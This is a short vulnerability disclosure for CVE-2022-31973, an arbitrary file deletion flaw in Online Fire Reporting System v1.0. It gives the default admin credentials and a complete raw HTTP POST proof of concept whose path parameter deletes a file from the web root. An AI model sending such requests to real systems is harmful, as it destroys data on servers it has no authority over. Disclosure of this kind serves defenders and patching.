CVE-2022-31973: bug_report/delet-file-1.md at main · k0xx11/bug_report

Online Fire Reporting System v1.0 by oretnom23 has Delete any file

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Vulnerability File: /ofrs/classes/Master.php?f=delete_img

Vulnerability location: /ofrs/classes/Master.php?f=delete_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shell.php file in the root directory

POST /ofrs/classes/Master.php?f=delete_img HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.19/ofrs/admin/?page=system_info Content-Length: 62 Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv Connection: close path=C%3A%2Fxampp%2Fhtdocs%2Fofrs%2Fshell.php

The file path needs to be encoded by url

Currently, when we do not send a request to delete the shell.php file, the shell.php file is still in the root directory of the website

The response package shows that the deletion was successful. Let’s go to the root directory to see if the shell.php file still exists.

By this time, shell.php has been deleted.